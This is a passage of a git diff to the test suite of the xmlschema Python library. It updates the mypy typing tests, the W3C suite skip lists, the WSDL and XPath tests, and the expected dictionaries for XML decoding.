elementpath -@unittest.skipIf(mypy is None, "mypy is not installed") + +@unittest.skipIf(mypy_api is None, "mypy is not installed") +@unittest.skipIf(lxml_stubs_module is None, "lxml-stubs is not installed") class TestTyping(unittest.TestCase): @classmethod def setUpClass(cls): cls.cases_dir = Path(__file__).parent.joinpath('test_cases/mypy') - cls.config_file = Path(__file__).parent.parent.joinpath('mypy.ini') - cls.error_pattern = re.compile(r'Found \d+ error', re.IGNORECASE) + cls.config_file = Path(__file__).parent.parent.joinpath('pyproject.toml') - def check_mypy_output(self, testfile, *options): - cmd = ['mypy', '--config-file', str(self.config_file), testfile] - if options: - cmd.extend(str(opt) for opt in options) - process = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + def test_schema_source(self): + result = mypy_api.run([ + '--strict', + '--no-warn-unused-ignores', + '--config-file', str(self.config_file), + str(self.cases_dir.joinpath('schema_source.py')) + ]) + self.assertEqual(result[2], 0, msg=result[1] or result[0]) - self.assertEqual(process.stderr, b'') - output = process.stdout.decode('utf-8').strip() - output_lines = output.split('\n') + def test_simple_types(self): + result = mypy_api.run([ + '--strict', + '--no-warn-unused-ignores', + '--config-file', str(self.config_file), + str(self.cases_dir.joinpath('simple_types.py')) + ]) + self.assertEqual(result[2], 0, msg=result[1] or result[0]) - self.assertGreater(len(output_lines), 0, msg=output) - self.assertNotRegex(output_lines[-1], self.error_pattern, msg=output) - return output_lines + @unittest.skipIf(elementpath.__version__ == '4.5.0', "ep450 needs a patch for protocols") + def test_protocols(self): + result = mypy_api.run([ + '--strict', + '--no-warn-unused-ignores', + '--config-file', str(self.config_file), + str(self.cases_dir.joinpath('protocols.py')) + ]) + self.assertEqual(result[2], 0, msg=result[1] or result[0]) - def test_simple_types(self): - case_path = self.cases_dir.joinpath('simple_types.py') - output_lines = self.check_mypy_output(case_path, '--strict', '--no-warn-unused-ignores') - self.assertTrue(output_lines[0].startswith('Success:'), msg='\n'.join(output_lines)) + def test_extra_validator__issue_291(self): + result = mypy_api.run([ + '--strict', + '--config-file', str(self.config_file), + str(self.cases_dir.joinpath('extra_validator.py')) + ]) + self.assertEqual(result[2], 0, msg=result[1] or result[0]) if __name__ == '__main__': diff --git a/tests/test_w3c_suite.py b/tests/test_w3c_suite.py index aa6b531..f395cce 100644 --- a/tests/test_w3c_suite.py +++ b/tests/test_w3c_suite.py @@ -15,6 +15,7 @@ import argparse import os.path import warnings +from xml.etree import ElementTree try: import lxml.etree as lxml_etree @@ -22,7 +23,6 @@ lxml_etree = None from xmlschema import validate, XMLSchema10, XMLSchema11, XMLSchemaException -from xmlschema.etree import ElementTree TEST_SUITE_NAMESPACE = "http://www.w3.org/XML/2004/xml-schema-test-suite/" XLINK_NAMESPACE = "http://www.w3.org/1999/xlink" @@ -93,7 +93,6 @@ # 3984: Invalid if lxml is used (xsi:type and duplicate prefix) '../msData/additional/test93490_4.xml', # 4795: https://www.w3.org/Bugs/Public/show_bug.cgi?id=4078 - '../msData/additional/test93490_8.xml', # 4799: Idem '../msData/datatypes/gMonth002.xml', # 8017: gMonth bogus: conflicts with other invalid schema tests '../msData/datatypes/gMonth004.xml', @@ -165,16 +164,6 @@ '../saxonData/XmlVersions/xv009.n03.xml', '../saxonData/XmlVersions/xv100.i.xml', # 14859 '../saxonData/XmlVersions/xv100.c.xml', # 14860 - - ## - # Skip for TODO - '../msData/additional/test93490_2.xml', # 4793 - '../msData/additional/test93490_5.xml', # 4796 - '../msData/additional/test93490_7.xml', # 4798 - '../msData/additional/test93490_10.xml', # 4801 - '../msData/additional/test93490_12.xml', # 4803 - '../msData/additional/addB191.xml', # 4824 - # Dynamic schema load cases } XSD10_SKIPPED_TESTS = { @@ -190,6 +179,15 @@ '../msData/particles/particlesZ033_g.xsd', # valid in XSD 1.1 (invalid for engine limitation) '../saxonData/CTA/cta0043.xsd', # Only a warning for type table difference on restriction + ## + # XSD 1.1 schema composition (dynamic schema load) + # (See bullet 4 of G.1.15: https://www.w3.org/TR/xmlschema11-1/#ch_schemacomp) + '../msData/additional/test93490_5.xml', # 4796 + '../msData/additional/test93490_7.xml', # 4798 + '../msData/additional/test93490_8.xml', # 4799 + '../msData/additional/test93490_10.xml', # 4801 + '../msData/additional/test93490_12.xml', # 4803 + # TODO: Parse ENTITY declarations in DOCTYPE before enforce checking '../saxonData/Id/id017.n01.xml', # 14571-14575 '../saxonData/Id/id018.n01.xml', @@ -388,7 +386,7 @@ def test_xsd_schema(self): schema_class = XMLSchema11 if version == '1.1' else XMLSchema10 if expected == 'invalid': - message = "schema %s should be invalid with XSD %s" % (rel_path, version) + message = f"schema {rel_path} should be invalid with XSD {version}" with self.assertRaises(XMLSchemaException, msg=message): with warnings.catch_warnings(): warnings.simplefilter('ignore') @@ -443,7 +441,7 @@ def test_xml_instances(self): for version, expected in sorted(filter(lambda x: x[0] != 'source', item.items())): schema_class = XMLSchema11 if version == '1.1' else XMLSchema10 if expected == 'invalid': - message = "instance %s should be invalid with XSD %s" % (rel_path, version) + message = f"instance {rel_path} should be invalid with XSD {version}" with self.assertRaises((XMLSchemaException, ElementTree.ParseError), msg=message): with warnings.catch_warnings(): @@ -485,7 +483,7 @@ def test_xml_instances(self): del TestGroupCase.test_xml_instances TestGroupCase.__name__ = TestGroupCase.__qualname__ = str( - 'TestGroupCase{0:05}_{1}'.format(group_num, name.replace('-', '_')) + 'TestGroupCase{:05}_{}'.format(group_num, name.replace('-', '_')) ) return TestGroupCase @@ -605,7 +603,7 @@ def iter_numbers(numbers): testset_groups += 1 if args.verbose and testset_groups and not quiet: - print("Added {} test groups from {}".format(testset_groups, href_attr)) + print(f"Added {testset_groups} test groups from {href_attr}") if test_classes and not quiet: print("\n+++ Number of classes under test: %d +++" % len(test_classes)) diff --git a/tests/test_wsdl.py b/tests/test_wsdl.py index 4ddd0ba..da42c5d 100644 --- a/tests/test_wsdl.py +++ b/tests/test_wsdl.py @@ -12,9 +12,9 @@ import unittest import pathlib +from xml.etree import ElementTree from xmlschema import XMLSchemaValidationError, XMLSchema10, XMLSchema11 -from xmlschema.etree import ElementTree, ParseError from xmlschema.extras.wsdl import WsdlParseError, WsdlComponent, WsdlMessage, \ WsdlPortType, WsdlOperation, WsdlBinding, WsdlService, Wsdl11Document, \ WsdlInput, SoapHeader @@ -95,7 +95,7 @@ def casepath(relative_path): WSDL_DOCUMENT_NO_SOAP = """ @@ -210,7 +210,7 @@ def test_validation_mode(self): with self.assertRaises(ValueError) as ctx: Wsdl11Document(WSDL_DOCUMENT_EXAMPLE, validation='invalid') - self.assertEqual("'invalid': not a validation mode", str(ctx.exception)) + self.assertEqual("'invalid' is not a validation mode", str(ctx.exception)) def test_example3(self): original_example3_file = casepath('features/wsdl/wsdl11_example3.wsdl') @@ -258,6 +258,19 @@ def test_example3(self): port = wsdl_document.services[service_name].ports['StockQuotePort'] self.assertEqual(port.soap_location, 'mailto:subscribe@example.com') + def test_example3_without_types__issue_347(self): + no_types_file = casepath('features/wsdl/wsdl11_example3_no_types.wsdl') + with self.assertRaises(WsdlParseError): + Wsdl11Document(no_types_file) + + schema_file = casepath('features/wsdl/wsdl11_example3_types.xsd') + wsdl_document = Wsdl11Document(no_types_file, schema=schema_file) + + self.assertIn('{http://example.com/stockquote.xsd}SubscribeToQuotes', + wsdl_document.schema.maps.elements) + self.assertIn('{http://example.com/stockquote.xsd}SubscriptionHeader', + wsdl_document.schema.maps.elements) + def test_example4(self): original_example4_file = casepath('features/wsdl/wsdl11_example4.wsdl') with self.assertRaises(XMLSchemaValidationError): @@ -319,7 +332,7 @@ def test_example4(self): def test_example5(self): original_example5_file = casepath('features/wsdl/wsdl11_example5.wsdl') - with self.assertRaises(ParseError): + with self.assertRaises(ElementTree.ParseError): Wsdl11Document(original_example5_file) example5_file = casepath('features/wsdl/wsdl11_example5_valid.wsdl') @@ -401,7 +414,7 @@ def test_wsdl_document_imports(self): def test_wsdl_document_invalid_imports(self): wsdl_template = """ - """ @@ -425,7 +438,7 @@ def test_wsdl_document_invalid_imports(self): self.assertIn('no element found', str(ctx.exception)) wsdl_template = """ - @@ -437,7 +450,7 @@ def test_wsdl_document_invalid_imports(self): self.assertIn('namespace to import must be different', str(ctx.exception)) wsdl_template = """ - diff --git a/tests/test_xpath.py b/tests/test_xpath.py index 6689081..4914c7b 100644 --- a/tests/test_xpath.py +++ b/tests/test_xpath.py @@ -13,13 +13,13 @@ import unittest import os import pathlib -from elementpath import XPath1Parser, XPath2Parser, Selector, \ - AttributeNode, TypedElement, ElementPathSyntaxError +from xml.etree import ElementTree -from xmlschema import XMLSchema10, XMLSchema11, XsdElement, XsdAttribute +from elementpath import XPath1Parser, XPath2Parser, Selector, LazyElementNode + +from xmlschema import XMLSchema10, XMLSchema11 from xmlschema.names import XSD_NAMESPACE -from xmlschema.etree import ElementTree -from xmlschema.xpath import XMLSchemaProxy, iter_schema_nodes, XPathElement +from xmlschema.xpath import XMLSchemaProxy, XPathElement from xmlschema.validators import XsdAtomic, XsdAtomicRestriction CASES_DIR = os.path.join(os.path.dirname(__file__), 'test_cases/') @@ -61,7 +61,7 @@ def test_bind_parser_method(self): def test_get_context_method(self): schema_proxy = XMLSchemaProxy(self.xs1) context = schema_proxy.get_context() - self.assertIs(context.root, self.xs1) + self.assertIs(context.root.value, self.xs1) def test_get_type_method(self): schema_proxy = XMLSchemaProxy(self.xs1) @@ -118,40 +118,6 @@ def test_iter_atomic_types_method(self): self.assertIsInstance(xsd_type, (XsdAtomic, XsdAtomicRestriction)) self.assertGreater(k, 10) - def test_get_primitive_type_method(self): - schema_proxy = XMLSchemaProxy(self.xs3) - - string_type = self.xs3.meta_schema.types['string'] - xsd_type = self.xs3.types['list_of_strings'] - self.assertIs(schema_proxy.get_primitive_type(xsd_type), string_type) - - xsd_type = self.xs3.types['integer_or_float'] - self.assertIs(schema_proxy.get_primitive_type(xsd_type), xsd_type) - - def test_iter_schema_nodes_function(self): - vh_elements = set(e for e in self.xs1.maps.iter_components(XsdElement) - if e.target_namespace == self.xs1.target_namespace) - - self.assertEqual(set(iter_schema_nodes(self.xs1)), vh_elements | {self.xs1}) - self.assertEqual(set(iter_schema_nodes(self.xs1, with_root=False)), vh_elements) - - vh_nodes = set() - for node in self.xs1.maps.iter_components((XsdElement, XsdAttribute)): - if node.target_namespace != self.xs1.target_namespace: - continue - elif isinstance(node, XsdAttribute): - vh_nodes.add(AttributeNode(node.local_name, node)) - else: - vh_nodes.add(node) - - cars = self.xs1.elements['cars'] - car = self.xs1.find('//vh:car') - typed_cars = TypedElement(cars, cars.type, None) - self.assertListEqual(list(iter_schema_nodes(cars)), [cars, car]) - self.assertListEqual(list(iter_schema_nodes(typed_cars)), [cars, car]) - self.assertListEqual(list(iter_schema_nodes(cars, with_root=False)), [car]) - self.assertListEqual(list(iter_schema_nodes(typed_cars, with_root=False)), [car]) - class XPathElementTest(unittest.TestCase): @@ -190,6 +156,13 @@ def test_xpath_proxy(self): self.assertIsInstance(xpath_proxy, XMLSchemaProxy) self.assertIs(xpath_proxy._schema, self.col_schema) + def test_xpath_node(self): + elem = XPathElement('foo', self.col_schema.types['objType']) + xpath_node = elem.xpath_node + self.assertIsInstance(xpath_node, LazyElementNode) + self.assertIs(xpath_node, elem._xpath_node) + self.assertIs(xpath_node, elem.xpath_node) + def test_schema(self): elem = XPathElement('foo', self.col_schema.types['objType']) self.assertIs(elem.schema, self.col_schema) @@ -220,6 +193,7 @@ def test_elem_name(self): class XMLSchemaXPathTest(unittest.TestCase): schema_class = XMLSchema10 + xs1: XMLSchema10 @classmethod def setUpClass(cls): @@ -229,10 +203,10 @@ def setUpClass(cls): cls.bikes = cls.xs1.elements['vehicles'].type.content[1] def test_xpath_wrong_syntax(self): - self.assertRaises(ElementPathSyntaxError, self.xs1.find, './*[') - self.assertRaises(ElementPathSyntaxError, self.xs1.find, './*)') - self.assertRaises(ElementPathSyntaxError, self.xs1.find, './*3') - self.assertRaises(ElementPathSyntaxError, self.xs1.find, './@3') + self.assertRaises(SyntaxError, self.xs1.find, './*[') + self.assertRaises(SyntaxError, self.xs1.find, './*)') + self.assertRaises(SyntaxError, self.xs1.find, './*3') + self.assertRaises(SyntaxError, self.xs1.find, './@3') def test_xpath_extra_spaces(self): self.assertTrue(self.xs1.find('./ *') is not None) @@ -273,6 +247,7 @@ def test_xpath_group(self): def test_xpath_predicate(self): car = self.xs1.elements['cars'].type.content[0] + self.assertListEqual(self.xs1.findall("./vh:vehicles/vh:cars/vh:car[@make]"), [car]) self.assertListEqual(self.xs1.findall("./vh:vehicles/vh:cars/vh:car[@make]"), [car]) self.assertListEqual(self.xs1.findall("./vh:vehicles/vh:cars['ciao']"), [self.cars]) diff --git a/tests/validation/test_decoding.py b/tests/validation/test_decoding.py index d176d2d..711adb2 100644 --- a/tests/validation/test_decoding.py +++ b/tests/validation/test_decoding.py @@ -1,5 +1,4 @@ - -#!/usr/bin/env python +# !/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. @@ -11,10 +10,13 @@ # import unittest import os +import base64 import json +import math from decimal import Decimal from collections.abc import MutableMapping, MutableSequence, Set -import base64 +from textwrap import dedent +from xml.etree import ElementTree try: import lxml.etree as lxml_etree @@ -24,12 +26,11 @@ from elementpath import datatypes import xmlschema from xmlschema import XMLSchemaValidationError, ParkerConverter, BadgerFishConverter, \ - AbderaConverter, JsonMLConverter, ColumnarConverter + AbderaConverter, JsonMLConverter, ColumnarConverter, ElementData -from xmlschema.names import XSD_STRING -from xmlschema.etree import ElementTree +from xmlschema.names import XSD_STRING, XSI_NIL from xmlschema.converters import UnorderedConverter -from xmlschema.validators import XMLSchema11 +from xmlschema.validators import XMLSchema11, ModelVisitor from xmlschema.testing import XsdValidatorTestCase, etree_elements_assert_equal VEHICLES_DICT = { @@ -60,6 +61,58 @@ {'@xsi:schemaLocation': 'http://example.com/vehicles vehicles.xsd'} ] +VEHICLES_DICT_OVERRIDE_PREFIX_1 = { + '@xmlns:vh': 'http://example.com/vehicles', + '@xmlns:vh2': 'http://example.com/vehicles', + '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', + '@xsi:schemaLocation': 'http://example.com/vehicles vehicles.xsd', + 'vh2:cars': { + 'vh2:car': [ + {'@make': 'Porsche', '@model': '911'}, + {'@make': 'Porsche', '@model': '911'} + ]}, + 'vh2:bikes': { + 'vh2:bike': [ + {'@make': 'Harley-Davidson', '@model': 'WL'}, + {'@make': 'Yamaha', '@model': 'XS650'} + ]} +} + +VEHICLES_DICT_OVERRIDE_PREFIX_2 = { + '@xmlns': 'http://example.com/vehicles', + '@xmlns:vh': 'http://example.com/vehicles', + '@xmlns:vh-alt': 'http://example.com/vehicles', + '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', + '@xsi:schemaLocation': 'http://example.com/vehicles vehicles.xsd', + 'vh-alt:cars': { + 'vh-alt:car': [ + {'@make': 'Porsche', '@model': '911'}, + {'@make': 'Porsche', '@model': '911'} + ]}, + 'vh-alt:bikes': { + 'vh-alt:bike': [ + {'@make': 'Harley-Davidson', '@model': 'WL'}, + {'@make': 'Yamaha', '@model': 'XS650'} + ]} +} + +VEHICLES_DICT_OVERRIDE_PREFIX_3 = { + '@xmlns': 'http://example.com/vehicles', + '@xmlns:vh': 'http://example.com/vehicles', + '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', + '@xsi:schemaLocation': 'http://example.com/vehicles vehicles.xsd', + 'cars': { + 'car': [ + {'@make': 'Porsche', '@model': '911'}, + {'@make': 'Porsche', '@model': '911'} + ]}, + 'bikes': { + 'bike': [ + {'@make': 'Harley-Davidson', '@model': 'WL'}, + {'@make': 'Yamaha', '@model': 'XS650'} + ]} +} + COLLECTION_DICT = { '@xmlns:col': 'http://example.com/ns/collection', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', @@ -85,7 +138,7 @@ '@id': 'JM', 'born': '1893-04-20', 'dead': '1983-12-25', - 'name': u'Joan Miró', + 'name': 'Joan Miró', 'qualification': 'painter, sculptor and ceramicist' }, 'position': 2, @@ -94,6 +147,15 @@ }] } +MENU_DICT = { + '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', + '@xsi:noNamespaceSchemaLocation': 'menù.xsd', + 'antipasto': ['Affettati misti', 'Bruschetta', 'Polenta e funghi'], + 'primo': ['Lasagne', 'Gnocchi al ragù', 'Risotto allo zafferano'], + 'secondo': ['Tagliata di pollo', 'Cotoletta alla milanese', 'Caprese'], + 'dolce': ['Crostata ai mirtilli', 'Tiramisù'] +} + COLLECTION_PARKER = { 'object': [{'author': {'born': '1841-02-25', 'dead': '1919-12-03', @@ -105,7 +167,7 @@ 'year': '1886'}, {'author': {'born': '1893-04-20', 'dead': '1983-12-25', - 'name': u'Joan Miró', + 'name': 'Joan Miró', 'qualification': 'painter, sculptor and ceramicist'}, 'position': 2, 'title': None, @@ -122,18 +184,18 @@ 'year': '1886'}, {'author': {'born': '1893-04-20', 'dead': '1983-12-25', - 'name': u'Joan Miró', + 'name': 'Joan Miró', 'qualification': 'painter, sculptor and ceramicist'}, 'position': 2, 'title': None, 'year': '1925'}]}} COLLECTION_BADGERFISH = { - '@xmlns': { - 'col': 'http://example.com/ns/collection', - 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'}, 'col:collection': { '@xsi:schemaLocation': 'http://example.com/ns/collection collection.xsd', + '@xmlns': { + 'col': 'http://example.com/ns/collection', + 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'}, 'object': [{ '@available': True, '@id': 'b0836217462', @@ -154,7 +216,7 @@ '@id': 'JM', 'born': {'$': '1893-04-20'}, 'dead': {'$': '1983-12-25'}, - 'name': {'$': u'Joan Miró'}, + 'name': {'$': 'Joan Miró'}, 'qualification': { '$': 'painter, sculptor and ceramicist'} }, @@ -166,46 +228,48 @@ } COLLECTION_ABDERA = { - 'attributes': { - 'xsi:schemaLocation': 'http://example.com/ns/collection collection.xsd' - }, - 'children': [ - { - 'object': [ - { - 'attributes': {'available': True, 'id': 'b0836217462'}, - 'children': [{ - 'author': { - 'attributes': {'id': 'PAR'}, - 'children': [{ - 'born': '1841-02-25', - 'dead': '1919-12-03', - 'name': 'Pierre-Auguste Renoir', - 'qualification': 'painter'} - ]}, - 'estimation': 10000.0, - 'position': 1, - 'title': 'The Umbrellas', - 'year': '1886'} - ]}, - { - 'attributes': {'available': True, 'id': 'b0836217463'}, - 'children': [{ - 'author': { - 'attributes': {'id': 'JM'}, - 'children': [{ - 'born': '1893-04-20', - 'dead': '1983-12-25', - 'name': u'Joan Miró', - 'qualification': 'painter, sculptor and ceramicist'} - ]}, - 'position': 2, - 'title': [], - 'year': '1925' + 'col:collection': { + 'attributes': { + 'xsi:schemaLocation': 'http://example.com/ns/collection collection.xsd' + }, + 'children': [ + { + 'object': [ + { + 'attributes': {'available': True, 'id': 'b0836217462'}, + 'children': [{ + 'author': { + 'attributes': {'id': 'PAR'}, + 'children': [{ + 'born': '1841-02-25', + 'dead': '1919-12-03', + 'name': 'Pierre-Auguste Renoir', + 'qualification': 'painter'} + ]}, + 'estimation': 10000.0, + 'position': 1, + 'title': 'The Umbrellas', + 'year': '1886'} + ]}, + { + 'attributes': {'available': True, 'id': 'b0836217463'}, + 'children': [{ + 'author': { + 'attributes': {'id': 'JM'}, + 'children': [{ + 'born': '1893-04-20', + 'dead': '1983-12-25', + 'name': 'Joan Miró', + 'qualification': 'painter, sculptor and ceramicist'} + ]}, + 'position': 2, + 'title': [], + 'year': '1925' + }] }] - }] - } - ]} + } + ]} +} COLLECTION_JSON_ML = [ 'col:collection', @@ -237,14 +301,13 @@ [ 'author', {'id': 'JM'}, - ['name', u'Joan Miró'], + ['name', 'Joan Miró'], ['born', '1893-04-20'], ['dead', '1983-12-25'], ['qualification', 'painter, sculptor and ceramicist'] ]] ] - COLLECTION_COLUMNAR = { 'collection': { 'collectionxsi:schemaLocation': 'http://example.com/ns/collection collection.xsd', @@ -311,6 +374,150 @@ } } +COLLECTION_XMLNS_PROCESSING_STACKED = { + '@xmlns:col1': 'http://example.com/ns/collection', + '@xmlns:col': 'http://xmlschema.test/ns', + '@xmlns': 'http://xmlschema.test/ns', + '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', + '@xsi:schemaLocation': 'http://example.com/ns/collection collection5.xsd', + 'col:object': [ + {'@xmlns:col': 'http://example.com/ns/collection', + '@id': 'b0836217462', + '@available': True, + 'col:position': 1, + 'col:title': 'The Umbrellas', + 'col:year': '1886', + 'col:author': { + '@id': 'PAR', + 'col:name': 'Pierre-Auguste Renoir', + 'col:born': '1841-02-25', + 'col:dead': '1919-12-03', + 'col:qualification': 'painter' + }, + 'col:estimation': Decimal('10000.00')}], + 'object': [ + {'@xmlns': 'http://example.com/ns/collection', + '@id': 'b0836217463', + '@available': True, + 'position': 2, + 'title': None, + 'year': '1925', + 'author': { + '@id': 'JM', + 'name': 'Joan Miró', + 'born': '1893-04-20', + 'dead': '1983-12-25', + 'qualification': 'painter, sculptor and ceramicist' + }} + ] +} + +COLLECTION_XMLNS_PROCESSING_COLLAPSED = { + '@xmlns': 'http://xmlschema.test/ns', + '@xmlns:col': 'http://xmlschema.test/ns', + '@xmlns:col0': 'http://example.com/ns/collection', + '@xmlns:col1': 'http://example.com/ns/collection', + '@xmlns:default': 'http://example.com/ns/collection', + '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', + '@xsi:schemaLocation': 'http://example.com/ns/collection collection5.xsd', + 'col1:object': [ + {'@id': 'b0836217462', + '@available': True, + 'col1:position': 1, + 'col1:title': 'The Umbrellas', + 'col1:year': '1886', + 'col1:author': { + '@id': 'PAR', + 'col1:name': 'Pierre-Auguste Renoir', + 'col1:born': '1841-02-25', + 'col1:dead': '1919-12-03', + 'col1:qualification': 'painter' + }, + 'col1:estimation': Decimal('10000.00')}, + {'@id': 'b0836217463', + '@available': True, + 'col1:position': 2, + 'col1:title': None, + 'col1:year': '1925', + 'col1:author': { + '@id': 'JM', + 'col1:name': 'Joan Miró', + 'col1:born': '1893-04-20', + 'col1:dead': '1983-12-25', + 'col1:qualification': 'painter, sculptor and ceramicist' + }} + ] +} + +COLLECTION_XMLNS_PROCESSING_ROOT_ONLY = { + '@xmlns': 'http://xmlschema.test/ns', + '@xmlns:col': 'http://xmlschema.test/ns', + '@xmlns:col1': 'http://example.com/ns/collection', + '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', + '@xsi:schemaLocation': 'http://example.com/ns/collection collection5.xsd', + 'col1:object': [ + {'@id': 'b0836217462', + '@available': True, + 'col1:position': 1, + 'col1:title': 'The Umbrellas', + 'col1:year': '1886', + 'col1:author': { + '@id': 'PAR', + 'col1:name': 'Pierre-Auguste Renoir', + 'col1:born': '1841-02-25', + 'col1:dead': '1919-12-03', + 'col1:qualification': 'painter' + }, + 'col1:estimation': Decimal('10000.00')}, + {'@id': 'b0836217463', + '@available': True, + 'col1:position': 2, + 'col1:title': None, + 'col1:year': '1925', + 'col1:author': { + '@id': 'JM', + 'col1:name': 'Joan Miró', + 'col1:born': '1893-04-20', + 'col1:dead': '1983-12-25', + 'col1:qualification': 'painter, sculptor and ceramicist' + }} + ] +} + + +COLLECTION_XMLNS_PROCESSING_NONE = { + '@xmlns:col-alt': 'http://example.com/ns/collection', + '@xmlns:xsi-alt': 'http://www.w3.org/2001/XMLSchema-instance', + '@xsi-alt:schemaLocation': 'http://example.com/ns/collection collection5.xsd', + 'col-alt:object': [ + {'@id': 'b0836217462', + '@available': True, + 'col-alt:position': 1, + 'col-alt:title': 'The Umbrellas', + 'col-alt:year': '1886', + 'col-alt:author': { + '@id': 'PAR', + 'col-alt:name': 'Pierre-Auguste Renoir', + 'col-alt:born': '1841-02-25', + 'col-alt:dead': '1919-12-03', + 'col-alt:qualification': 'painter' + }, + 'col-alt:estimation': Decimal('10000.00')}, + {'@id': 'b0836217463', + '@available': True, + 'col-alt:position': 2, + 'col-alt:title': None, + 'col-alt:year': '1925', + 'col-alt:author': { + '@id': 'JM', + 'col-alt:name': 'Joan Miró', + 'col-alt:born': '1893-04-20', + 'col-alt:dead': '1983-12-25', + 'col-alt:qualification': 'painter, sculptor and ceramicist' + }} + ] +} + DATA_DICT = { '@xmlns:ns': 'ns', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', @@ -322,11 +529,13 @@ 'decimal_value': [Decimal('1')], 'hexbin': 'AABBCCDD', 'menù': 'baccalà mantecato', + 'qname': 'ns:foo', 'complex_boolean': [ {'$': True, '@Type': 2}, {'$': False, '@Type': 1}, True, False ], 'simple_boolean': [True, False], 'date_and_time': '2020-03-05T23:04:10.047', # xs:dateTime is not decoded for default + 'list_of_floats': [float('inf'), float('-inf')], } @@ -373,7 +582,9 @@ def test_to_dict_from_etree(self): xml_dict = self.vh_schema.to_dict(vh_xml_tree, namespaces=self.vh_namespaces) self.assertEqual(xml_dict, VEHICLES_DICT) - xml_dict = xmlschema.to_dict(vh_xml_tree, self.vh_schema.url, namespaces=self.vh_namespaces) + xml_dict = xmlschema.to_dict( + vh_xml_tree, self.vh_schema.url, namespaces=self.vh_namespaces + ) self.assertEqual(xml_dict, VEHICLES_DICT) xml_dict = self.col_schema.to_dict(col_xml_tree) @@ -469,18 +680,21 @@ def test_qname_decoding(self): """) xml_data = 'ns0:foo' - self.assertEqual(schema.decode(xml_data), 'ns0:foo') + self.assertEqual(schema.decode(xml_data), + {'@xmlns:ns0': 'http://xmlschema.test/0', '$': 'ns0:foo'}) self.assertEqual(schema.decode('foo'), 'foo') with self.assertRaises(XMLSchemaValidationError) as ctx: schema.decode('ns0:foo') self.assertIn("failed validating 'ns0:foo'", str(ctx.exception)) - self.assertIn("Reason: unmapped prefix 'ns0' on QName", str(ctx.exception)) + self.assertIn("Reason: unmapped prefix 'ns0' in a QName", str(ctx.exception)) self.assertIn("Path: /root", str(ctx.exception)) xml_data = 'ns0:foo' - self.assertEqual(schema.decode(xml_data), {'@name': 'ns0:bar', '$': 'ns0:foo'}) + self.assertEqual(schema.decode(xml_data), { + '@xmlns:ns0': 'http://xmlschema.test/0', '@name': 'ns0:bar', '$': 'ns0:foo' + }) # Check reverse encoding obj = schema.decode(xml_data, converter=JsonMLConverter) @@ -490,7 +704,7 @@ def test_qname_decoding(self): with self.assertRaises(XMLSchemaValidationError) as ctx: schema.decode('foo') self.assertIn("failed validating 'ns0:bar'", str(ctx.exception)) - self.assertIn("unmapped prefix 'ns0' on QName", str(ctx.exception)) + self.assertIn("unmapped prefix 'ns0' in a QName", str(ctx.exception)) self.assertIn("Path: /root", str(ctx.exception)) def test_json_dump_and_load(self): @@ -629,8 +843,8 @@ def ascii_strings(value, xsd_type): def test_non_global_schema_path(self): # Issue #157 xs = self.schema_class(""" - @@ -677,9 +891,15 @@ def test_validation_skip(self): self.assertEqual(xd['decimal_value'], ['abc']) def test_datatypes(self): + xd = self.st_schema.to_dict(self.casepath('features/decoder/data.xml')) + self.assertDictEqual(xd, DATA_DICT) + xt = ElementTree.parse(self.casepath('features/decoder/data.xml')) xd = self.st_schema.to_dict(xt, namespaces=self.default_namespaces) - self.assertEqual(xd, DATA_DICT) + self.assertNotEqual(xd, DATA_DICT) + self.assertIn('@xmlns:xsi', xd) + self.assertIn('@xmlns:tns', xd) + self.assertIn('@xmlns:ns', xd) def test_datetime_types(self): xs = self.get_schema('') @@ -757,7 +977,7 @@ def test_columnar_converter(self): self.col_xml_file, converter=ColumnarConverter, attr_prefix='-', ) self.assertEqual(str(ctx.exception), - "attr_prefix can be the empty string or a single/double underscore") + "'attr_prefix' can be the empty string or a single/double underscore") def test_dict_granularity(self): """Based on Issue #22, test to make sure an xsd indicating list with @@ -864,8 +1084,8 @@ def test_hex_binary_type(self): self.assertIsInstance(obj, str) obj = xs.decode(' 9AFD ', binary_types=True) - self.assertEqual(obj, '9AFD') self.assertIsInstance(obj, datatypes.HexBinary) + self.assertEqual(obj.value, b'9AFD') xs = self.get_schema('') @@ -874,8 +1094,8 @@ def test_hex_binary_type(self): self.assertIsInstance(obj, str) obj = xs.attributes['hex'].decode(' 9AFD ', binary_types=True) - self.assertEqual(obj, '9AFD') self.assertIsInstance(obj, datatypes.HexBinary) + self.assertEqual(obj.value, b'9AFD') def test_base64_binary_type(self): base64_code_type = self.st_schema.types['base64Code'] @@ -889,7 +1109,7 @@ def test_base64_binary_type(self): xs = self.get_schema('') obj = xs.attributes['b64'].decode(base64_value.decode()) - self.assertEqual(obj, expected_value) + self.assertEqual(obj, str(expected_value)) self.assertIsInstance(obj, str) obj = xs.attributes['b64'].decode(base64_value.decode(), binary_types=True) @@ -899,11 +1119,11 @@ def test_base64_binary_type(self): # Element xs = self.get_schema('') - obj = xs.decode('{}'.format(base64_value.decode())) - self.assertEqual(obj, expected_value) + obj = xs.decode(f'{base64_value.decode()}') + self.assertEqual(obj, str(expected_value)) self.assertIsInstance(obj, str) - obj = xs.decode('{}'.format(base64_value.decode()), binary_types=True) + obj = xs.decode(f'{base64_value.decode()}', binary_types=True) self.assertEqual(obj, expected_value) self.assertIsInstance(obj, datatypes.Base64Binary) @@ -911,13 +1131,13 @@ def test_base64_binary_type(self): datatypes.Base64Binary('YWJjZWZnaA==')) self.check_decode(base64_code_type, b' Y W J j ZWZ\t\tn\na A= =', datatypes.Base64Binary('Y W J j ZWZ n a A= =')) - self.check_decode(base64_code_type, u' Y W J j ZWZ\t\tn\na A= =', + self.check_decode(base64_code_type, ' Y W J j ZWZ\t\tn\na A= =', datatypes.Base64Binary('Y W J j ZWZ n a A= =')) self.check_decode(base64_code_type, base64.b64encode(b'abcefghi'), 